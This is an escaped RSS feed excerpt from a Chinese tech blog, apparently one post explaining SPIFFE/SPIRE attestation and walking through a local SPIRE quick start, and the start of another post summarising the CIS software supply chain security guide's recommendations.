&lt;ul&gt;
&lt;li&gt;先验证节点：保障工作负载所在的节点的身份的有效性&lt;/li&gt;
&lt;li&gt;再验证工作负载：保证节点上的工作负载是有效的&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;node-attestation&#34;&gt;Node Attestation&lt;/h3&gt;

&lt;p&gt;节点的证实过程是在 Agent 启动过程中完成的，SPIRE 要求 Agent 在第一次连接到服务器的时候能够验明正身。在节点证实过程中，Agent 和服务器协作对 Agent 所在的节点进行校验。这个过程是通过 SPIRE 中被称为 Node Attestor 的插件完成的，这种插件的基本做法就是对节点以及所在环境进行查询和比对，来验证节点身份的有效性。&lt;/p&gt;

&lt;p&gt;节点证实成功之后，Agent 就收到了一个 SPIFFE ID，Agent 会把这个 ID 作为父 ID，发放给运行在这个节点上的工作负载。&lt;/p&gt;

&lt;p&gt;几种常见的节点身份的证据：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;云平台分发给节点的身份文档（例如 AWS 的 Instance Identity Document）&lt;/li&gt;
&lt;li&gt;节点上 HSM 或者 TPM 硬件的私钥&lt;/li&gt;
&lt;li&gt;安装 Agent 时候的手工验证过程&lt;/li&gt;
&lt;li&gt;多节点系统中提供的身份凭据，例如 Kubernetes 的 SA Token&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;节点证实过程会返回一组属性（Selector）给服务器，这些属性能够标识出特定的节点，另外还会有 Node Resolver 来获取节点的其他属性，这些属性一起，构成了 SPIFFE ID 的附加属性。&lt;/p&gt;

&lt;p&gt;例如 AWS 节点的证实过程：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/node_attestation.png&#34; alt=&#34;node_attestation&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Agent 上的 AWS Node Attestor 向 AWS 查询节点的身份，发送给 Agent&lt;/li&gt;
&lt;li&gt;Agent 把身份的证据发送给服务器，服务器把信息发送给 AWS Node Attestor（的服务侧）&lt;/li&gt;
&lt;li&gt;AWS Node Attestor 的服务端独立或者调用 AWS API 对前一个步骤获取到的信息进行验证。Node Attestor 还会为 Agent 创建一个 SPIFFE ID，并把 SPIFFE ID 和 Selecor 传给服务器进程&lt;/li&gt;
&lt;li&gt;Server 返回一个 Agent 节点的 SVID&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;SPIRE 支持多种环境的 Node Attestor，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS 的 EC2 实例（EC2 Instance Identity Document）&lt;/li&gt;
&lt;li&gt;Azure 虚拟机（Azure Managed Service Identities）&lt;/li&gt;
&lt;li&gt;GCE Instance（GCE Instance Identity Token）&lt;/li&gt;
&lt;li&gt;Kuhbernetes 节点（Kubernetes Service Account Token）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对于无法直接认证节点的平台，SPIRE 提供了如下措施：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;服务器和 Agent 之间可以生成一个预共享密钥作为加入的 Token，Agent 启动时进行验证，使用后立即过期&lt;/li&gt;
&lt;li&gt;使用现存 X.509 证书&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;workload-attestation&#34;&gt;Workload Attestation&lt;/h3&gt;

&lt;p&gt;工作负载的证实过程要回答的问题是：这个进程是谁？Agent 和 Server 都参与到了节点证实过程里；而工作负载的证实过程是由 Agent 完成的。&lt;/p&gt;

&lt;p&gt;下图展示了工作负载证明的过程：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/workload_attestation.png&#34; alt=&#34;Workload Attestation&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;工作负载调用 Workload API 申请 SVID。在 Unix 系统中，这个 API 表现为一个 Unix Domain Socket&lt;/li&gt;
&lt;li&gt;Agent 调用节点的内核来认证调用者的进程 ID。然后回调用工作负载的证实插件，把进程号提供给他们&lt;/li&gt;
&lt;li&gt;利用进程 ID 查询工作负载的额外信息，可能会和 Kubelet 等同节点服务进行交互&lt;/li&gt;
&lt;li&gt;Attestor 把进程信息返回给 Agent&lt;/li&gt;
&lt;li&gt;Agent 把属性和注册信息进行比对，返回合适的 SVID 给工作负载。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;工作负载的证实机制目前支持 Unix、Kubernetes 和 Docker。&lt;/p&gt;

&lt;h3 id=&#34;svid-的生命周期&#34;&gt;SVID 的生命周期&lt;/h3&gt;

&lt;p&gt;这一节内容讲述了 SPIRE 签发工作负载身份的过程。这个过程从 Agent 在节点上启动开始，持续到工作负载收到有效的 X.509 SVID 为止（注意，JWT 和 X.509 的处理方式是不同的）。下面以 AWS EC2 为例。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;SPIRE Server 启动&lt;/li&gt;
&lt;li&gt;除非用户配置了上游 CA 插件，Server 会生成一个自签名证书；Server 会使用这个证书来给信任域内所有的工作负载签发 SVID&lt;/li&gt;
&lt;li&gt;如果这是首次启动，Server 会自动生成 Trust Bundle，这些内容会被存储在 SQL 数据库中&lt;/li&gt;
&lt;li&gt;Server 开启注册 API，允许注册工作负载&lt;/li&gt;
&lt;li&gt;SPIRE Agent 在运行了工作负载的节点上启动&lt;/li&gt;
&lt;li&gt;Agent 执行节点证实工作，向 Server 证明节点的身份。例如在 AWS EC2 实例上，通常会把 &lt;a href=&#34;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html&#34; target=&#34;_blank&#34;&gt;AWS Instance Identity Document&lt;/a&gt; 提交给服务器&lt;/li&gt;
&lt;li&gt;Agent 把身份的证据用 TLS 提交给 Server。TLS 的认证通过 Agent 的 Bootstrap Bundle 来完成&lt;/li&gt;
&lt;li&gt;Server 调用 AWS API 对这些证据进行校验&lt;/li&gt;
&lt;li&gt;AWS 确认文档的有效性&lt;/li&gt;
&lt;li&gt;Server 对节点进行解析，验证 Agent 节点的附加属性，并更新注册数据。例如节点使用的是 Azure Managed Service Identity（MSI）。Resolver 会根据 SPIFFE ID 解析 Tenat ID 以及 Principal ID，并用多种 Azure Service 获取额外信息&lt;/li&gt;
&lt;li&gt;Server 给 Agent 签发一个 SVID，证实 Agent 的身份&lt;/li&gt;
&lt;li&gt;Agent 用它的 SVID 以及他的 TLS 客户端证书联系 Server，获得它被授权的注册内容&lt;/li&gt;
&lt;li&gt;Server 用 Agent 的 SVID 验证 Agent 的身份。Agent 接下来会完成 mTLS 握手，使用 Bootstarap Bundle 完成认证。&lt;/li&gt;
&lt;li&gt;Server 从数据库中抓取所有（该 Agent 下的）&lt;a href=&#34;https://spiffe.io/docs/latest/spire-about/spire-concepts/#authorized-registration-entries&#34; target=&#34;_blank&#34;&gt;认证的注册条目&lt;/a&gt;，发送给 Agent&lt;/li&gt;
&lt;li&gt;Agent 发送工作负载的 CSR 给 Server，Server 会签署和返回 Workload SVID 给客户端，客户端进行缓存&lt;/li&gt;
&lt;li&gt;启动过程完成，Agent 开始监听 Workload API 的 Socket&lt;/li&gt;
&lt;li&gt;Workload 调用调用 Workload API，申请 SVID&lt;/li&gt;
&lt;li&gt;Agent 通过调用 Workload Attestor 来初始化 Workload 的证实过程，证实过程的输入以工作负载的进程 ID 启动&lt;/li&gt;
&lt;li&gt;Attestor 使用内核和用户空间的调用，发现工作负载的附加信息&lt;/li&gt;
&lt;li&gt;Attestor 把发现的信息返回给 Agent&lt;/li&gt;
&lt;li&gt;Agent 通过比对缓存中的注册信息和 Workload 上报的信息，来决定是否把缓存中的 SVID 返回给工作负载。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;spire-quick-start&#34;&gt;SPIRE Quick Start&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;是的完全来自官网&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/spiffe/spire/releases&#34; target=&#34;_blank&#34;&gt;Release 页面&lt;/a&gt;没有提供 ARM 架构的发布包，差评，只好自己构建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ git clone --single-branch --branch v1.4.0 https://github.com/spiffe/spire.git
$ cd spire
$ go build ./cmd/spire-server 
$ go build ./cmd/spire-agent
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后用源码包里面的默认配置启动服务器：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server run -config conf/server/server.conf &amp;amp;
...
INFO[0000] Starting TCP server   address=&amp;quot;127.0.0.1:8081&amp;quot; subsystem_name=endpoints
INFO[0000] Starting UDS server   address=/tmp/spire-registration.sock subsystem_name=endpoints
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;做一下健康检查：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server healthcheck                                         
Server is healthy.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;前面提过用 Bootstrap Token 证实节点身份的方法，这里生成一个 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server token generate -spiffeID spiffe://example.org/myagent
Token: ff19d99e-e3f2-446f-86eb-cb37fcbd6574
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面启动一个 Agent，并进行健康检查：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-agent run -config conf/agent/agent.conf -joinToken &amp;lt;token&amp;gt;
$ bin/spire-agent healthcheck
Agent is healthy.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了让 SPIRE 能识别工作负载，必须把工作负载用注册项的方式注册到 SPIRE 服务器上。注册过程告知 SPIRE 认证工作负载的方法，以及工作负载的 SPIFFE ID。&lt;/p&gt;

&lt;p&gt;下面的命令用当前用户的 UID 创建了一个注册项：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server entry create \
    -parentID spiffe://example.org/myagent \
    -spiffeID spiffe://example.org/myservice \
    -selector unix:uid:$(id -u)
Entry ID         : 2c0325c5-e5b4-433a-a675-059cbf19f8aa
SPIFFE ID        : spiffe://example.org/myservice
Parent ID        : spiffe://example.org/myagent
Revision         : 0
TTL              : default
Selector         : unix:uid:501
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此时可以在服务侧列出当前的注册条目：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server entry show
Found 2 entries
Entry ID         : 521fd101-031a-42bf-8190-696bd315e2d3
SPIFFE ID        : spiffe://example.org/myagent
Parent ID        : spiffe://example.org/spire/agent/join_token/ff19d99e-e3f2-446f-86eb-cb37fcbd6574
Revision         : 0
TTL              : default
Selector         : spiffe_id:spiffe://example.org/spire/agent/join_token/ff19d99e-e3f2-446f-86eb-cb37fcbd6574

Entry ID         : 2c0325c5-e5b4-433a-a675-059cbf19f8aa
SPIFFE ID        : spiffe://example.org/myservice
Parent ID        : spiffe://example.org/myagent
Revision         : 0
TTL              : default
Selector         : unix:uid:501
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个注册条目的 &lt;code&gt;Selector&lt;/code&gt; 字段表示用 uid 501 这个条件可以给出 &lt;code&gt;spiffe://example.org/myservice&lt;/code&gt; 这个 SPIFFE ID。&lt;/p&gt;

&lt;p&gt;这里使用的是 unix Workload Attestor，SPIRE 通过插件的方式支持多种 Node Attestor 和 Workload Attestor，例如 SSH、Kubernetes、AWS、Docker 等等。上面的例子中使用了 &lt;code&gt;unix&lt;/code&gt; Attestor 除了这个 uid 之外，还能够支持执行路径、二进制哈希等的 &lt;code&gt;Selector&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;接下来模仿进程，从 Agent 获取一个 x509-SVID。x509-SVID 可以用于不同工作负载之间的访问控制，下面的命令把 SVID 写入 &lt;code&gt;/tmp&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-agent api fetch x509 -write /tmp/
Received 1 svid after 253.934417ms

SPIFFE ID:              spiffe://example.org/myservice
SVID Valid After:       2022-10-05 14:45:30 +0000 UTC
SVID Valid Until:       2022-10-05 15:45:40 +0000 UTC
Intermediate #1 Valid After:    2022-10-05 09:01:24 +0000 UTC
Intermediate #1 Valid Until:    2022-10-06 09:01:34 +0000 UTC
CA #1 Valid After:      2018-05-13 19:33:47 +0000 UTC
CA #1 Valid Until:      2023-05-12 19:33:47 +0000 UTC

Writing SVID #0 to file /tmp/svid.0.pem.
Writing key #0 to file /tmp/svid.0.key.
Writing bundle #0 to file /tmp/bundle.0.pem.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到生成了几个 &lt;code&gt;.pem&lt;/code&gt;、&lt;code&gt;.key&lt;/code&gt; 文件，查看几个文件的内容，会发现：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;bundle.0.pem&lt;/code&gt; 中是一个自签发的根证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;...
X509v3 Basic Constraints: critical
    CA:TRUE
X509v3 Key Usage: critical
    Certificate Sign, CRL Sign
X509v3 Subject Alternative Name:
    URI:spiffe://local
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;svid.0.pem&lt;/code&gt; 中包含了两个证书，其中一个是中间 CA，另一个是可用于服务侧和客户侧的身份证书&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;检查签发关系会发现是 &lt;code&gt;bundle.0.pem&lt;/code&gt; 签发了 &lt;code&gt;svid.0.pem&lt;/code&gt; 中的中间证书，中间证书签发了身份证书。&lt;/p&gt;

&lt;p&gt;根据上面的过程大致可以推断出，Server 启动成功之后，Agent 首先自己通过某种方式获得了自己的“合法身份”（例如例子中使用的 Token）。Server 侧预制了若干策略（例如前面注册的 &lt;code&gt;uid=501&lt;/code&gt;），Agent 拿到这些策略之后，根据其“本地”的工作负载情况，符合 Selector 要求的内容，就直接发放 SVID。&lt;/p&gt;

&lt;h2 id=&#34;小结&#34;&gt;小结&lt;/h2&gt;

&lt;p&gt;零敲碎打的阅读了官网文档以及这篇 PDF 之后，对其中种种的严密思考深感折服，同时也感觉，对于缺乏零信任基础设施的组织来说，SPIFFE/SPIRE 是个不可多得的致敬目标，其中对于 Server、Agent、插件的职责划分和流程保障都非常值得借鉴（抄袭）。&lt;/p&gt;

&lt;p&gt;然而仅凭这一个技术和产品要达成安全目标也是不现实的，就拿前面提到的 Node Attestor、Workload Attestor，很明显需要根据企业 IT 实际环境，进行插件的选择甚至开发；各种 Selector 的选用和具体实施过程，策略如何保障权威性和最小权限原则，CI/CD、不可变基础设施、配置漂移等问题，都有可能对 SPIFFE 证实过程的干扰甚至破坏；策略的制定过程似乎也是个充满挑战的过程。还好文档中对于联邦的设计、高可用部署、各种典型的集成方式都有相当细致的介绍，非常值得深入学习。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CIS 软件供应链安全指南</title>
      <link>/post/cis-software-supply-chain-guid/</link>
      <pubDate>Wed, 17 Aug 2022 09:59:13 +0800</pubDate>
      <guid>/post/cis-software-supply-chain-guid/</guid>
      <description>

&lt;h2 id=&#34;概述&#34;&gt;概述&lt;/h2&gt;

&lt;p&gt;Argon（现在是 Aqua Security 的一部分）曾经联系 CIS（Center for Internete Security），建议为软件供应链安全开发一种 CIS 基线。多年以来，CIS 开发并发布了很多安全配置指南，但是软件供应链安全方面还是一个空白。现代软件开发过程中会涉及大量的平台和技术，软件供应链安全的工作范围应该有多大？如何保证基线能够在多种平台中保持一致？&lt;/p&gt;

&lt;p&gt;很明显，要直接定义特定的基线是不现实的，更实际的做法是定义一个通用的指南，然后以此为基础来进一步定义更精准的内容。因此 CIS 软件供应链安全指南诞生了。这篇指南的目的在于引出全球社区的反馈，从而帮助制定未来的更准确、更针对特定平台的指南。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/01.png&#34; alt=&#34;01&#34; /&gt;&lt;/p&gt;

&lt;p&gt;本指南面向下图所示的软件供应链过程，涵盖了从代码到交付的生命周期。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/02.png&#34; alt=&#34;02&#34; /&gt;&lt;/p&gt;

&lt;p&gt;本指南目前包含了一百多条建议，按照以下维度进行组织：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;源码&lt;/strong&gt;：关于正确管理源码的的安全建议&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这是软件供应链的第一环节，源码是这一过程的真相之源，因此供应链安全的管理要从源码开始，管理内容包括脆弱性、错误配置以及敏感数据等。&lt;/p&gt;
&lt;/blockquote&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;构建管线&lt;/strong&gt;：对构建组件的管理和安全建议。&lt;/p&gt;

&lt;p&gt;构建组件包含了构建管线——获取原始代码文件、运行一组任务，最后输出物料。这部分包含构建管线的环境、管理和运行方面的建议。这是软件供应链的第二个环节，针对这一环节的攻击（例如 Codecov 或 SlolarWinds）越来越频繁。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;依赖&lt;/strong&gt;：构建和发布过程中会引入多种依赖内容，这些内容会变成软件的一部分。本节建议针对依赖内容提出。&lt;/p&gt;

&lt;p&gt;依赖可能进入代码，还可能被构建管线使用，因此是软件供应链中的一个主要组成部分。被依赖内容经常是由第三方开发者提供的，可能受到特定攻击（例如 log4j）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;制品&lt;/strong&gt;：对构建管道产生的制品，以及应用程序在构建过程中使用的制品进行管理的安全建议。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;制品是软件的打包版本。可以用软件包仓库（或工件管理器）保存制品。制品的创建、复制、直至被部署到相关的环境中，都需要具备保障能力。&lt;/p&gt;
&lt;/blockquote&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;部署&lt;/strong&gt;：针对应用部署过程、配置和相关文件的安全建议。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;软件供应链的最后一环。在这之后，应用将在生产环境中运行，供给客户使用。如何将物料安全地交付给客户，至关重要。&lt;/p&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;本指南和 CIS 基准的愿景，是支持关键的新兴标准，如软件产品的供应链级别（SLSA）和更新框架（TUF），为基准支持的平台上的配置设置和审计工作奠定基础。&lt;/p&gt;

&lt;p&gt;通过制定 CIS 软件供应链指南，CIS 和 Aqua 希望建设一个活跃的社区，来支持开发未来的针对平台的软件供应链基线。呼吁开发这些平台或与这些平台合作的专家（Subject Matter Experts）以 CIS 的协作和共识方式帮助创建这一指南。&lt;/p&gt;

&lt;p&gt;迄今为止，来自 Aqua Security、CIS、Microsoft、PayPal、Red Hat、CyberArk、Axonius 等组织的 SME 们已经对本指南进行了评审。CIS 和 Aqua Security 希望开放目前工作成果的方式，吸引有更多的 SME 为这个项目做出贡献，使所有人受益。&lt;/p&gt;

&lt;p&gt;要贡献给 CIS 基线项目，请联系 CIS 基线开发团队：benchmarkinfo@cisecurity.org。&lt;/p&gt;

&lt;h2 id=&#34;预期读者&#34;&gt;预期读者&lt;/h2&gt;

&lt;p&gt;本指南适用于计划通过 DevOps 管道的自动化手段构建和部署软件更新的开发、部署、评估或保护解决方案的 DevOps 和应用安全管理员、安全专家、审计师、Help Desk 和平台部署人员。&lt;/p&gt;

&lt;h2 id=&#34;1-源码&#34;&gt;1. 源码&lt;/h2&gt;

&lt;h3 id=&#34;1-1-代码变更&#34;&gt;1.1 代码变更&lt;/h3&gt;

&lt;h4 id=&#34;1-1-1-使用版本控制平台来跟踪代码变更&#34;&gt;1.1.1 使用版本控制平台来跟踪代码变更&lt;/h4&gt;

&lt;h4 id=&#34;1-1-2-确保能够从变更代码回溯到对应的任务&#34;&gt;1.1.2 确保能够从变更代码回溯到对应的任务&lt;/h4&gt;

&lt;h4 id=&#34;1-1-3-保证由两个强认证用户对代码变更进行评审和放行&#34;&gt;1.1.3 保证由两个强认证用户对代码变更进行评审和放行&lt;/h4&gt;

&lt;h4 id=&#34;1-1-4-如果代码变更的内容发生了更新-那么之前批准的变更申请应该作废&#34;&gt;1.1.4 如果代码变更的内容发生了更新，那么之前批准的变更申请应该作废&lt;/h4&gt;

&lt;h4 id=&#34;1-1-5-对于撤销变更评审结果的权限应该严加管控&#34;&gt;1.1.5 对于撤销变更评审结果的权限应该严加管控&lt;/h4&gt;

&lt;h4 id=&#34;1-1-6-为敏感代码或配置设置明确的所有者&#34;&gt;1.1.6 为敏感代码或配置设置明确的所有者&lt;/h4&gt;

&lt;h4 id=&#34;1-1-7-代码属主的代码发生变更时-必须由属主进行审批&#34;&gt;1.1.7 代码属主的代码发生变更时，必须由属主进行审批&lt;/h4&gt;

&lt;h4 id=&#34;1-1-8-周期性地对不活跃分支进行评审和删除&#34;&gt;1.1.8 周期性地对不活跃分支进行评审和删除&lt;/h4&gt;

&lt;h4 id=&#34;1-1-9-合并新代码之前-必须通过所有检查&#34;&gt;1.1.9 合并新代码之前，必须通过所有检查&lt;/h4&gt;

&lt;h4 id=&#34;1-1-10-进行代码合并之前-确保-git-分支是最新的&#34;&gt;1.1.10 进行代码合并之前，确保 Git 分支是最新的&lt;/h4&gt;

&lt;h4 id=&#34;1-1-11-进行代码合并之前-确保所有开放注解都已经解决&#34;&gt;1.1.11 进行代码合并之前，确保所有开放注解都已经解决&lt;/h4&gt;

&lt;h4 id=&#34;1-1-12-合并之前需要对提交内容进行签署&#34;&gt;1.1.12 合并之前需要对提交内容进行签署&lt;/h4&gt;

&lt;h4 id=&#34;1-1-13-留存-linear-history-仅能合并-squash-或-rebase-内容&#34;&gt;1.1.13 留存 Linear History（仅能合并 Squash 或 Rebase 内容）&lt;/h4&gt;

&lt;h4 id=&#34;1-1-14-制定分支的管理规则&#34;&gt;1.1.14 制定分支的管理规则&lt;/h4&gt;

&lt;h4 id=&#34;1-1-15-确保由特定的个人或者团队来完成代码合并过程&#34;&gt;1.1.15 确保由特定的个人或者团队来完成代码合并过程&lt;/h4&gt;

&lt;h4 id=&#34;1-1-16-拒绝向保护分支强行推送代码&#34;&gt;1.1.16 拒绝向保护分支强行推送代码&lt;/h4&gt;

&lt;h4 id=&#34;1-1-17-只有推送权限的用户不能删除分支&#34;&gt;1.1.17 只有推送权限的用户不能删除分支&lt;/h4&gt;

&lt;h4 id=&#34;1-1-18-所有的合并操作都需要进行风险扫描&#34;&gt;1.1.18 所有的合并操作都需要进行风险扫描&lt;/h4&gt;

&lt;h4 id=&#34;1-1-19-分支保护规则的变更需要进行审计&#34;&gt;1.1.19 分支保护规则的变更需要进行审计&lt;/h4&gt;

&lt;h3 id=&#34;1-2-仓库管理&#34;&gt;1.2 仓库管理&lt;/h3&gt;

&lt;h4 id=&#34;1-2-1-所有公开仓库都应该包含-security-md-文件&#34;&gt;1.2.1 所有公开仓库都应该包含 &lt;code&gt;SECURITY.md&lt;/code&gt; 文件&lt;/h4&gt;

&lt;h4 id=&#34;1-2-2-只有特定人-角色能够创建仓库&#34;&gt;1.2.2 只有特定人/角色能够创建仓库&lt;/h4&gt;

&lt;h4 id=&#34;1-2-3-只有特定人-角色能够删除仓库&#34;&gt;1.2.3 只有特定人/角色能够删除仓库&lt;/h4&gt;

&lt;h4 id=&#34;1-2-4-只有特定人-角色能够删除-issue&#34;&gt;1.2.4 只有特定人/角色能够删除 Issue&lt;/h4&gt;

&lt;h4 id=&#34;1-2-5-确保跟踪所有代码的副本-分叉&#34;&gt;1.2.5 确保跟踪所有代码的副本（分叉）&lt;/h4&gt;

&lt;h4 id=&#34;1-2-6-确保跟踪项目代码的可见性-可访问性-变化&#34;&gt;1.2.6 确保跟踪项目代码的可见性（可访问性）变化&lt;/h4&gt;

&lt;h4 id=&#34;1-2-7-周期性的评审不活跃代码仓并进行归档&#34;&gt;1.2.7 周期性的评审不活跃代码仓并进行归档&lt;/h4&gt;

&lt;h3 id=&#34;1-3-访问代码库&#34;&gt;1.3 访问代码库&lt;/h3&gt;

&lt;p&gt;这一节包含了在管理应用代码访问过程中的推荐安全措施。这其中包含了对内部和外部访问、账号管理、授权、认证方式等方面的内容。对于访问的安全限制是阻止攻击的重要手段，因此这一节内容是软件安全的重要组成部分。&lt;/p&gt;

&lt;p&gt;本节对管理员账户和普通账户分而治之。因为管理员的权限过大，因此管理员账户只应用于管理工作，而非日常任务。&lt;/p&gt;

&lt;h4 id=&#34;1-3-1-周期性评审不活跃用户并进行删除&#34;&gt;1.3.1 周期性评审不活跃用户并进行删除&lt;/h4&gt;

&lt;h4 id=&#34;1-3-2-确保只有特定用户才能创建团队&#34;&gt;1.3.2 确保只有特定用户才能创建团队&lt;/h4&gt;

&lt;h4 id=&#34;1-3-3-严格限制管理员数量&#34;&gt;1.3.3 严格限制管理员数量&lt;/h4&gt;

&lt;h4 id=&#34;1-3-4-组织外贡献者需要进行多因素认证&#34;&gt;1.3.4 组织外贡献者需要进行多因素认证&lt;/h4&gt;

&lt;h4 id=&#34;1-3-5-组织成员需要进行多因素认证&#34;&gt;1.3.5 组织成员需要进行多因素认证&lt;/h4&gt;

&lt;h4 id=&#34;1-3-6-组织中的现有用户可以邀请新用户加入-新成员只能使用公司认证的邮箱接收邀请&#34;&gt;1.3.6 组织中的现有用户可以邀请新用户加入，新成员只能使用公司认证的邮箱接收邀请&lt;/h4&gt;

&lt;h4 id=&#34;1-3-7-每个代码仓都需要有两个管理员&#34;&gt;1.3.7 每个代码仓都需要有两个管理员&lt;/h4&gt;

&lt;h4 id=&#34;1-3-8-为代码仓设置严格的基础-缺省-权限&#34;&gt;1.3.8 为代码仓设置严格的基础（缺省）权限&lt;/h4&gt;

&lt;h4 id=&#34;1-3-9-明确标识认证的组织-防止被仿冒&#34;&gt;1.3.9 明确标识认证的组织，防止被仿冒&lt;/h4&gt;

&lt;h4 id=&#34;1-3-10-确保仅向认证的域发送源码管理系统的通知邮件&#34;&gt;1.3.10 确保仅向认证的域发送源码管理系统的通知邮件&lt;/h4&gt;

&lt;h4 id=&#34;1-3-11-组织应提供-ssh-认证方法&#34;&gt;1.3.11 组织应提供 SSH 认证方法&lt;/h4&gt;

&lt;h4 id=&#34;1-3-12-根据-ip-地址限制-git-访问&#34;&gt;1.3.12 根据 IP 地址限制 Git 访问&lt;/h4&gt;

&lt;h4 id=&#34;1-3-13-跟踪反常的代码访问行为&#34;&gt;1.3.13 跟踪反常的代码访问行为&lt;/h4&gt;

&lt;h4 id=&#34;1-4-1-安装自动化插件-工具需要由管理员批准&#34;&gt;1.4.1 安装自动化插件/工具需要由管理员批准&lt;/h4&gt;

&lt;h4 id=&#34;1-4-2-周期性地检查过期插件-工具-并删除&#34;&gt;1.4.2 周期性地检查过期插件/工具，并删除&lt;/h4&gt;

&lt;h4 id=&#34;1-4-3-应限制自动化工具-插件的最小权限&#34;&gt;1.4.3 应限制自动化工具/插件的最小权限&lt;/h4&gt;

&lt;h3 id=&#34;1-5-代码风险&#34;&gt;1.5 代码风险&lt;/h3&gt;

&lt;p&gt;本节包含代码安全扫描方面的建议。例如硬编码的敏感信息、常见的导致易受攻击的配置错误或者严格的授权等。因为应用代码有很多组件，因此需要逐一检查。&lt;/p&gt;

&lt;h4 id=&#34;1-5-1-确保使用扫描器鉴别并阻止代码中出现敏感数据&#34;&gt;1.5.1 确保使用扫描器鉴别并阻止代码中出现敏感数据&lt;/h4&gt;

&lt;h4 id=&#34;1-5-2-ci-管线中应该有扫描器&#34;&gt;1.5.2 CI 管线中应该有扫描器&lt;/h4&gt;

&lt;h4 id=&#34;1-5-3-iac-指令必须通过扫描器的检查&#34;&gt;1.5.3 IaC 指令必须通过扫描器的检查&lt;/h4&gt;

&lt;h4 id=&#34;1-5-4-用扫描器扫描漏洞&#34;&gt;1.5.4 用扫描器扫描漏洞&lt;/h4&gt;

&lt;h4 id=&#34;1-5-5-确保使用扫描器扫描引用的开源包中的漏洞&#34;&gt;1.5.5 确保使用扫描器扫描引用的开源包中的漏洞&lt;/h4&gt;

&lt;h4 id=&#34;1-5-6-确保使用扫描器扫描引用的开源包的授权&#34;&gt;1.5.6 确保使用扫描器扫描引用的开源包的授权&lt;/h4&gt;

&lt;h2 id=&#34;2-构建管线&#34;&gt;2. 构建管线&lt;/h2&gt;

&lt;p&gt;本节针对组织开发的构建管线，提出安全建议。&lt;/p&gt;

&lt;p&gt;构建管线是一组基础设施，会读取原始的代码问价，运行一组任务，最终输出制品。制品是软件最近版本的最终输出物，这些输出物会被打包以便于后续的存储、使用和部署。&lt;/p&gt;

&lt;h3 id=&#34;2-1-构建环境&#34;&gt;2.1 构建环境&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;本节针对构建管线的环境提出安全建议。构建环境包含所有制品构建过程所需的基础设施——编排器、管线执行、构建器所在的环境等。绝大多数构建环境的安全建议是针对自建构建平台的——例如自建的 Circle CI。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&#34;2-1-1-每个管线都有单一职责-确保最小化权限&#34;&gt;2.1.1 每个管线都有单一职责，确保最小化权限&lt;/h4&gt;

&lt;h4 id=&#34;2-1-2-每个管线的基础设施和配置都是不可变的&#34;&gt;2.1.2 每个管线的基础设施和配置都是不可变的&lt;/h4&gt;

&lt;h4 id=&#34;2-1-3-需要保存构建环境的日志&#34;&gt;2.1.3 需要保存构建环境的日志&lt;/h4&gt;

